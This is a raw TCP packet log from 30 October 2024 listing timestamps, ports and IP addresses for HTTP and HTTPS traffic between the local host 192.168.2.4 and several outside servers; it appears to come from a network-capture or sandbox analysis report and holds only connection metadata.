Oct 30, 2024 02:27:16.442082882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442100048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442111969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442125082 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442135096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.442146063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.442157030 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.442244053 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442287922 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.442292929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442338943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.442353964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442365885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.442409992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.442500114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:16.444056034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:16.665127039 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:16.665199995 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:16.668540001 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:16.668548107 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:16.668992996 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:16.722265005 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.566189051 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.578183889 CET	49723	80	192.168.2.4	199.232.214.172
Oct 30, 2024 02:27:17.584057093 CET	80	49723	199.232.214.172	192.168.2.4
Oct 30, 2024 02:27:17.584134102 CET	49723	80	192.168.2.4	199.232.214.172
Oct 30, 2024 02:27:17.607336998 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838295937 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838368893 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838390112 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838411093 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838418007 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.838437080 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838449955 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.838455915 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.838455915 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838490009 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838507891 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.838515043 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838531971 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.838679075 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838748932 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:17.838756084 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838875055 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:17.838931084 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:18.344540119 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.344563961 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:18.344636917 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.344865084 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.344881058 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:18.550127029 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:18.550147057 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:18.550157070 CET	49731	443	192.168.2.4	20.109.210.53
Oct 30, 2024 02:27:18.550163031 CET	443	49731	20.109.210.53	192.168.2.4
Oct 30, 2024 02:27:18.632189035 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.632217884 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:18.632318020 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.632503986 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.632520914 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:18.690799952 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.690824986 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:18.691054106 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.691262007 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.691278934 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:18.811867952 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.811882973 CET	443	49743	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:18.811954021 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.812201977 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:18.812210083 CET	443	49743	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.209028959 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.209913015 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.209927082 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.211622953 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.211711884 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.212820053 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.212961912 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.212963104 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.255332947 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.267601013 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.267611980 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.314466953 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.478815079 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.484462976 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.490583897 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.490603924 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.494251013 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.494390965 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.494712114 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.494857073 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.494894028 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.533467054 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.533482075 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.535552025 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.535702944 CET	443	49740	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.535768032 CET	49740	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.542259932 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.542642117 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.542658091 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.544111013 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.544181108 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.544747114 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.544828892 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.545064926 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.549077988 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.549096107 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.586741924 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.586756945 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.604094982 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.642870903 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.658036947 CET	443	49743	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.658344984 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.658360004 CET	443	49743	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.661911964 CET	443	49743	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.661984921 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.662776947 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.662955046 CET	443	49743	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.705339909 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.705348015 CET	443	49743	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.752252102 CET	49743	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.775288105 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.775475025 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.775572062 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.775665998 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.775728941 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.775741100 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.775830984 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.776026964 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.776034117 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.786642075 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.786746979 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.786755085 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.817728043 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.830382109 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.830389023 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.861619949 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.861634970 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.877237082 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.890733004 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.890891075 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.891000032 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.891006947 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.894897938 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.896147966 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.896155119 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.899261951 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.902257919 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.902264118 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.907995939 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.908482075 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.908507109 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.908514023 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.916721106 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.918251038 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.918257952 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.925616026 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.925683975 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.925690889 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.934439898 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.934596062 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.934607029 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.938245058 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.938319921 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:19.938536882 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:19.990889072 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.006460905 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.010607004 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.010720015 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.011785030 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.011792898 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.011856079 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.014949083 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.018512964 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.022262096 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.022269011 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.023824930 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.023968935 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.023976088 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.032772064 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.034269094 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.034276009 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.041292906 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.042257071 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.042263985 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.050208092 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.050334930 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.054275990 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.054282904 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.058269978 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.122154951 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.126290083 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.126403093 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.127566099 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.127573967 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.127645016 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.130565882 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.139437914 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.139537096 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.139616966 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.139693022 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.139703035 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.148320913 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.148441076 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.150270939 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.150278091 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.154278994 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.156922102 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.165990114 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.166090012 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.166313887 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.166321993 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.170262098 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.213339090 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.241946936 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.242007017 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.242014885 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.242126942 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.242177963 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.242185116 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.246305943 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.246360064 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.246366978 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.254996061 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.255053043 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.255059004 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.264117002 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.264175892 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.264182091 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.272783995 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.272836924 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.272844076 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.281652927 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.281704903 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.281712055 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.290075064 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.290154934 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.290163040 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.290193081 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.290236950 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.304617882 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.304636955 CET	443	49742	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.304646969 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.304688931 CET	49742	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.305125952 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.353702068 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.357887030 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.357938051 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.357947111 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.358078003 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.358131886 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.358138084 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.362205982 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.362274885 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.362282038 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.370834112 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.370893002 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.370898962 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.371040106 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.371083975 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.371092081 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.379883051 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.379937887 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.379945040 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.388751030 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.388808012 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.388814926 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.397526979 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.397581100 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.397588015 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.440387964 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.453298092 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.473661900 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.473716021 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.473723888 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.473843098 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.473891020 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.473897934 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.477871895 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.477924109 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.477931023 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.478089094 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.478132010 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.478137970 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.478326082 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:20.478382111 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.512396097 CET	49741	443	192.168.2.4	142.250.184.196
Oct 30, 2024 02:27:20.512435913 CET	443	49741	142.250.184.196	192.168.2.4
Oct 30, 2024 02:27:21.897320986 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:21.897345066 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:21.898367882 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:21.898367882 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:21.898411989 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:22.737503052 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:22.737580061 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:22.904438972 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:22.904485941 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:22.904953003 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:22.965063095 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:22.993719101 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:22.993765116 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:22.993932009 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:22.994210005 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:22.994240046 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:23.084310055 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:23.127353907 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.324640989 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.324738026 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.324827909 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:23.324887037 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.324918985 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:23.324918985 CET	49751	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:23.324955940 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.324978113 CET	443	49751	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.382399082 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:23.382424116 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.382565975 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:23.382869959 CET	49754	443	192.168.2.4	184.28.90.27
Oct 30, 2024 02:27:23.382884979 CET	443	49754	184.28.90.27	192.168.2.4
Oct 30, 2024 02:27:23.842597008 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:23.842828989 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:23.842849016 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:23.844408035 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:23.844474077 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:23.851994038 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:23.852088928 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:23.852157116 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:23.852175951 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:23.892611980 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.095725060 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.095779896 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.095823050 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.095877886 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.095911026 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.095966101 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.096096992 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.096513987 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.096585989 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.096601009 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.104131937 CET	443	49753	142.250.184.206	192.168.2.4
Oct 30, 2024 02:27:24.104188919 CET	49753	443	192.168.2.4	142.250.184.206
Oct 30, 2024 02:27:24.104202986 CET	443	49753	142.250.184.206	192.168.2.4
